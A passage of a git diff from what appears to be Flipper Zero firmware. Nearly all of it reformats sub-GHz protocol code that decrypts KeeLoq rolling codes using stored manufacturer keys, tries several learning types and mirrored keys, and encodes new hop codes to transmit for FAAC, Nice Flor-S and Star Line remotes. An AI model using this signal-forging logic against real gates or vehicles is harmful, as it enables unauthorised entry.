instance->keystore, &instance->manufacture_name); - + //optional parameter parameter flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); @@ -259,7 +260,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Unable to add Key"); break; } - + instance->encoder.is_runing = true; res = true; @@ -390,11 +391,10 @@ void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t d * @param keystore Pointer to a SubGhzKeystore* instance * @param manifacture_name Manufacturer name */ -static void subghz_protocol_faac_slh_check_remote_controller - (SubGhzBlockGeneric* instance, - SubGhzKeystore* keystore, - const char** manufacture_name) { - +static void subghz_protocol_faac_slh_check_remote_controller( + SubGhzBlockGeneric* instance, + SubGhzKeystore* keystore, + const char** manufacture_name) { uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; @@ -403,16 +403,17 @@ static void subghz_protocol_faac_slh_check_remote_controller uint64_t man; for - M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { - switch(manufacture_code->type) { - case KEELOQ_LEARNING_FAAC: - // FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); - *manufacture_name = string_get_cstr(manufacture_code->name); - break; + M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + switch(manufacture_code->type) { + case KEELOQ_LEARNING_FAAC: + // FAAC Learning + man = subghz_protocol_keeloq_common_faac_learning( + instance->seed, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); + *manufacture_name = string_get_cstr(manufacture_code->name); + break; + } } - } instance->cnt = decrypt & 0xFFFF; } @@ -431,17 +432,19 @@ bool subghz_protocol_decoder_faac_slh_serialize( furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + bool res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); uint8_t seed_data[sizeof(uint32_t)] = {0}; - for(size_t i = 0; i < sizeof(uint32_t); i++) { - seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; - } + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } if(res && !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Unable to add Seed"); res = false; } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | + seed_data[3]; subghz_protocol_faac_slh_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -470,17 +473,19 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Missing Seed"); break; } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | + seed_data[3]; res = true; } while(false); - + return res; } void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller(&instance->generic, instance->keystore, &instance->manufacture_name); + subghz_protocol_faac_slh_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); uint32_t code_fix = instance->generic.data >> 32; uint32_t code_hop = instance->generic.data & 0xFFFFFFFF; diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index cb48fd77b..596210753 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -74,8 +74,8 @@ const SubGhzProtocol subghz_protocol_keeloq = { .name = SUBGHZ_PROTOCOL_KEELOQ_NAME, .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | - SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_keeloq_decoder, .encoder = &subghz_protocol_keeloq_encoder, @@ -141,11 +141,11 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc uint64_t code_found_reverse; int res = 0; - if (strcmp(instance->manufacture_name, "Unknown") == 0) { + if(strcmp(instance->manufacture_name, "Unknown") == 0) { code_found_reverse = subghz_protocol_blocks_reverse_key( - instance->generic.data, instance->generic.data_count_bit); + instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - } else { + } else { for M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { res = strcmp(string_get_cstr(manufacture_code->name), instance->manufacture_name); @@ -157,32 +157,48 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc break; case KEELOQ_LEARNING_NORMAL: //Simple Learning - man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + man = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_SECURE: //Secure Learning - man = subghz_protocol_keeloq_common_secure_learning(fix, instance->generic.seed, manufacture_code->key); + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->generic.seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: //Magic XOR type-1 Learning - man = subghz_protocol_keeloq_common_magic_xor_type1_learning(instance->generic.serial, manufacture_code->key); + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + instance->generic.serial, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_UNKNOWN: - if(kl_type == 1) { hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); } - if(kl_type == 2) { man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } - if(kl_type == 3) { man = subghz_protocol_keeloq_common_secure_learning(fix, instance->generic.seed, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } - if(kl_type == 4) { man = subghz_protocol_keeloq_common_magic_xor_type1_learning(instance->generic.serial, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } + if(kl_type == 1) { + hop = + subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); + } + if(kl_type == 2) { + man = subghz_protocol_keeloq_common_normal_learning( + fix, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + } + if(kl_type == 3) { + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->generic.seed, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + } + if(kl_type == 4) { + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + instance->generic.serial, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + } break; } break; } - } } + } + } if(hop) { uint64_t yek = (uint64_t)fix << 32 | hop; instance->generic.data = @@ -200,17 +216,18 @@ bool subghz_protocol_keeloq_create_data( const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset) { - furi_assert(context); - SubGhzProtocolEncoderKeeloq* instance = context; - instance->generic.serial = serial; - instance->generic.cnt = cnt; - instance->manufacture_name = manufacture_name; - instance->generic.data_count_bit = 64; - bool res = subghz_protocol_keeloq_gen_data(instance, btn); - if(res) { - res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; + furi_assert(context); + SubGhzProtocolEncoderKeeloq* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_keeloq_gen_data(instance, btn); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; } bool subghz_protocol_keeloq_bft_create_data( @@ -223,19 +240,20 @@ bool subghz_protocol_keeloq_bft_create_data( const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset) { - furi_assert(context); - SubGhzProtocolEncoderKeeloq* instance = context; - instance->generic.serial = serial; - instance->generic.btn = btn; - instance->generic.cnt = cnt; - instance->generic.seed = seed; - instance->manufacture_name = manufacture_name; - instance->generic.data_count_bit = 64; - bool res = subghz_protocol_keeloq_gen_data(instance, btn); - if(res) { - res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; + furi_assert(context); + SubGhzProtocolEncoderKeeloq* instance = context; + instance->generic.serial = serial; + instance->generic.btn = btn; + instance->generic.cnt = cnt; + instance->generic.seed = seed; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_keeloq_gen_data(instance, btn); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; } /** @@ -321,7 +339,8 @@ bool subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* fl if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Missing Seed"); } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | + seed_data[3]; subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -534,8 +553,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( uint64_t man; int res = 0; -if(strcmp(mfname, "") == 0) { - + if(strcmp(mfname, "") == 0) { for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { switch(manufacture_code->type) { @@ -668,147 +686,149 @@ if(strcmp(mfname, "") == 0) { break; } } - } else if (strcmp(mfname, "Unknown") == 0) { - return 1; + } else if(strcmp(mfname, "Unknown") == 0) { + return 1; } else { - for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { res = strcmp(string_get_cstr(manufacture_code->name), mfname); if(res == 0) { - switch(manufacture_code->type) { - case KEELOQ_LEARNING_SIMPLE: - // Simple Learning - decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - return 1; - } - break; - case KEELOQ_LEARNING_NORMAL: - // Normal Learning - // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - return 1; - } - break; - case KEELOQ_LEARNING_SECURE: - man = subghz_protocol_keeloq_common_secure_learning( - fix, instance->seed, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - return 1; - } - break; - case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: - man = subghz_protocol_keeloq_common_magic_xor_type1_learning( - fix, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - return 1; - } - break; - case KEELOQ_LEARNING_UNKNOWN: - // Simple Learning - decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 1; - return 1; - } - // Check for mirrored man - uint64_t man_rev = 0; - uint64_t man_rev_byte = 0; - for(uint8_t i = 0; i < 64; i += 8) { - man_rev_byte = (uint8_t)(manufacture_code->key >> i); - man_rev = man_rev | man_rev_byte << (56 - i); - } - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 1; - return 1; - } - //########################### - // Normal Learning - // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 2; - return 1; - } + switch(manufacture_code->type) { + case KEELOQ_LEARNING_SIMPLE: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_NORMAL: + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_SECURE: + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->seed, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_UNKNOWN: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; + return 1; + } + // Check for mirrored man + uint64_t man_rev = 0; + uint64_t man_rev_byte = 0; + for(uint8_t i = 0; i < 64; i += 8) { + man_rev_byte = (uint8_t)(manufacture_code->key >> i); + man_rev = man_rev | man_rev_byte << (56 - i); + } + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; + return 1; + } + //########################### + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; + return 1; + } - // Check for mirrored man - man = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 2; - return 1; - } + // Check for mirrored man + man = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; + return 1; + } - // Secure Learning - man = subghz_protocol_keeloq_common_secure_learning( - fix, instance->seed, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 3; - return 1; - } + // Secure Learning + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->seed, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 3; + return 1; + } - // Check for mirrored man - man = subghz_protocol_keeloq_common_secure_learning(fix, instance->seed, man_rev); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 3; - return 1; - } + // Check for mirrored man + man = subghz_protocol_keeloq_common_secure_learning( + fix, instance->seed, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 3; + return 1; + } - // Magic xor type1 learning - man = subghz_protocol_keeloq_common_magic_xor_type1_learning( - fix, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 4; - return 1; - } + // Magic xor type1 learning + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 4; + return 1; + } - // Check for mirrored man - man = subghz_protocol_keeloq_common_magic_xor_type1_learning(fix, man_rev); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); - if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 4; - return 1; + // Check for mirrored man + man = subghz_protocol_keeloq_common_magic_xor_type1_learning(fix, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); + if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 4; + return 1; + } + break; } - break; } - } - } + } } - + *manufacture_name = "Unknown"; mfname = "Unknown"; instance->cnt = 0; @@ -857,7 +877,7 @@ bool subghz_protocol_decoder_keeloq_serialize( bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - + subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -889,7 +909,8 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Missing Seed"); } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | + seed_data[3]; res = true; } while(false); @@ -899,7 +920,7 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderKeeloq* instance = context; - + subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); diff --git a/lib/subghz/protocols/keeloq_common.c b/lib/subghz/protocols/keeloq_common.c index 0fcdab6b1..22217c025 100644 --- a/lib/subghz/protocols/keeloq_common.c +++ b/lib/subghz/protocols/keeloq_common.c @@ -89,12 +89,12 @@ inline uint64_t * @return man_learning for this seed number (64bit) */ -inline uint64_t +inline uint64_t subghz_protocol_keeloq_common_faac_learning(const uint32_t seed, const uint64_t key) { uint16_t hs = seed >> 16; const uint16_t ending = 0x544D; uint32_t lsb = (uint32_t)hs << 16 | ending; - uint64_t man = (uint64_t)subghz_protocol_keeloq_common_encrypt(seed, key) << 32 | - subghz_protocol_keeloq_common_encrypt(lsb, key); + uint64_t man = (uint64_t)subghz_protocol_keeloq_common_encrypt(seed, key) << 32 | + subghz_protocol_keeloq_common_encrypt(lsb, key); return man; } \ No newline at end of file diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 7e95e8570..f6aa2b7ef 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -114,12 +114,14 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { * @param instance Pointer to a SubGhzProtocolEncoderNiceFlorS instance * @return true On success */ -static void - subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { +static void subghz_protocol_encoder_nice_flor_s_get_upload( + SubGhzProtocolEncoderNiceFlorS* instance, + uint8_t btn, + const char* file_name) { furi_assert(instance); size_t index = 0; btn = instance->generic.btn; - + size_t size_upload = ((instance->generic.data_count_bit * 2) + ((37 + 2 + 2) * 2) * 16); if(size_upload > instance->encoder.size_upload) { FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); @@ -131,46 +133,45 @@ static void uint64_t decrypt = ((uint64_t)instance->generic.serial << 16) | instance->generic.cnt; uint64_t enc_part = subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); - for (int i = 0; i < 16; i++) { - - static const uint64_t loops[16] = { - 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF}; - - uint8_t byte; + for(int i = 0; i < 16; i++) { + static const uint64_t loops[16] = { + 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF}; - byte = btn << 4 | (0xF ^ btn ^ loops[i]); - instance->generic.data = (uint64_t)byte << 44 | enc_part; - - //Send header - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 37); - //Send start bit - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + uint8_t byte; - //Send key data - for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { - if(bit_read(instance->generic.data, i - 1)) { - //send bit 1 - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_long); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); - } else { - //send bit 0 - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_long); + byte = btn << 4 | (0xF ^ btn ^ loops[i]); + instance->generic.data = (uint64_t)byte << 44 | enc_part; + + //Send header + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 37); + //Send start bit + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + + //Send key data + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(bit_read(instance->generic.data, i - 1)) { + //send bit 1 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_long); + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); + } else { + //send bit 0 + instance->encoder.upload[index++] = level_duration_make( + true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); + instance->encoder.upload[index++] = level_duration_make( + false, (uint32_t)subghz_protocol_nice_flor_s_const.te_long); + } } - } - //Send stop bit - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); - //instance->encoder.upload[index++] = - //level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + //Send stop bit + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); + //instance->encoder.upload[index++] = + //level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short * 3); } instance->encoder.size_upload = index; } @@ -189,8 +190,10 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - subghz_protocol_nice_flor_s_remote_controller(&instance->generic, instance->nice_flor_s_rainbow_table_file_name); - subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, instance->nice_flor_s_rainbow_table_file_name); + subghz_protocol_nice_flor_s_remote_controller( + &instance->generic, instance->nice_flor_s_rainbow_table_file_name); + subghz_protocol_encoder_nice_flor_s_get_upload( + instance, instance->generic.btn, instance->nice_flor_s_rainbow_table_file_name); if(!flipper_format_rewind(flipper_format)) { FURI_LOG_E(TAG, "Rewind error"); diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index ff3a1910e..85fdc1e1d 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -73,8 +73,8 @@ const SubGhzProtocolEncoder subghz_protocol_star_line_encoder = { const SubGhzProtocol subghz_protocol_star_line = { .name = SUBGHZ_PROTOCOL_STAR_LINE_NAME, .type = SubGhzProtocolTypeDynamic, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable - | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_star_line_decoder, .encoder = &subghz_protocol_star_line_encoder, @@ -129,21 +129,19 @@ void subghz_protocol_encoder_star_line_free(void* context) { * @param instance Pointer to a SubGhzProtocolEncoderKeeloq* instance * @param btn Button number, 4 bit */ -static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) { +static bool + subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) { instance->generic.cnt++; uint32_t fix = btn << 24 | instance->generic.serial; - uint32_t decrypt = btn << 24 | - (instance->generic.serial & 0xFF) - << 16 | - instance->generic.cnt; + uint32_t decrypt = btn << 24 | (instance->generic.serial & 0xFF) << 16 | instance->generic.cnt; uint32_t hop = 0; uint64_t man = 0; uint64_t code_found_reverse; int res = 0; - if (strcmp(instance->manufacture_name, "Unknown") == 0) { + if(strcmp(instance->manufacture_name, "Unknown") == 0) { code_found_reverse = subghz_protocol_blocks_reverse_key( - instance->generic.data, instance->generic.data_count_bit); + instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; } else { for @@ -162,14 +160,21 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_UNKNOWN: - if(kl_type == 1) { hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); } - if(kl_type == 2) { man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); } + if(kl_type == 1) { + hop = + subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); + } + if(kl_type == 2) { + man = subghz_protocol_keeloq_common_normal_learning( + fix, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + } break; } break; } - } } + } + } if(hop) { uint64_t yek = (uint64_t)fix << 32 | hop; instance->generic.data = @@ -209,8 +214,9 @@ bool subghz_protocol_star_line_create_data( * @param instance Pointer to a 